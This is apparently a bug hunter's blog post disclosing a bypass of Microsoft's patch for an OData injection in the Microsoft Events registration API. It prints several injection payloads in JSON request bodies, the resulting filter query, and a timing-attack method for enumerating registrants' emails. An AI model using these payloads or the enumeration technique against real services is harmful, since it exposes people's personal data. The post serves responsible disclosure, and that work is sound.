> blog.faav.net

Logo

Developer @ capes.me (& NameMC Extras), Web developer, Bug hunter. Follow my 𝕏!

Microsoft Events Leak, Part II: Leaking Event Registration Database Again (via OData Injection + Timing Attack)

Date: 10/13/2025

Before reading this, please read Part I.

Hey! I’m Faav. This is the story of how I found a bypass to a previously patched vulnerability I reported in Microsoft Events, leaking the entire Event Registration database of full names, phone numbers, and emails.

Background

The day after the Microsoft Events OData Injection vulnerability I reported was patched, I got curious: Could I bypass their fix?

Here’s the original payload from Part I that triggered the leak:

POST /api/CheckEventRegistration HTTP/2
Host: msevents.microsoft.com

{
  "email": "' or startswith(msevtmgt_contact/emailaddress1,'a')#",
  "eventId": "78009109-cff9-48fc-a6a8-e1a8dd5eeccd'#"
}

From Part I, here’s a helpful diagram of the data flow:

image

The Fix (And How I Bypassed It)

Trying that same payload again returned: Invalid event ID.

They started validating to make sure the eventId was a valid GUID/UUID so I tried out removing the '# from the eventId, to make it valid:

{
  "email": "' or startswith(msevtmgt_contact/emailaddress1,'a')#",
  "eventId": "78009109-cff9-48fc-a6a8-e1a8dd5eeccd"
}

I got this error instead: Invalid email address.

Turns out they started validating the email field too, but I wondered how strict it was, so I tested this:

{
  "email": "'a@a.a",
  "eventId": "78009109-cff9-48fc-a6a8-e1a8dd5eeccd"
}

Surprisingly this got through! But I got this error: Syntax error at position 85 in '_msevtmgt_eventid_value eq '78009109-cff9-48fc-a6a8-e1a8dd5eeccd' and me_email eq ''a@a.a''.

I then tried this payload:

{
  "email": "' or startswith(msevtmgt_contact/emailaddress1,'a')#@a.a",
  "eventId": "78009109-cff9-48fc-a6a8-e1a8dd5eeccd"
}

But I got the invalid email error again. So then I tried replacing all the spaces with + because I knew it was passed into a URL:

{
  "email": "'+or+startswith(msevtmgt_contact/emailaddress1,'a')#@a.a",
  "eventId": "78009109-cff9-48fc-a6a8-e1a8dd5eeccd"
}

This gave me this error: Could not find a property named 'msevtmgt_contact' on type 'Microsoft.Dynamics.CRM.msevtmgt_eventregistration'.

The Key Insight

This made me remember that the backend first queries the Event Registration database, so I tried a valid variable from it.

{
  "email": "'+or+startswith(me_email,'a')#@a.a",
  "eventId": "78009109-cff9-48fc-a6a8-e1a8dd5eeccd"
}

This basically injected into the Microsoft Dataverse OData, this query: ?$filter=_msevtmgt_eventid_value eq '78009109-cff9-48fc-a6a8-e1a8dd5eeccd' and me_email eq '' or startswith(me_email,'a')

At first I thought that this didn’t work as I got this error: Could not find a property named 'me_email' on type 'Microsoft.Dynamics.CRM.msevtmgt_waitlistitem'. ):

Timing Attack

After looking closer, I noticed something, the response was substantially slower, like 2 seconds long, and then I tested a random string like test128371 and it was 100ms. A HUGE difference.

I used Microsoft Copilot to quickly hack together a scuffed POC to enumerate emails character by character in the Event Registration database. It was late and I didn’t want to DDOS it so I added a high delay and here is part of the results:

image

I immediately reported this to MSRC.

Yet another secondary context vulnerability!

Timeline:

> Star or leave a comment on GitHub! (or follow me)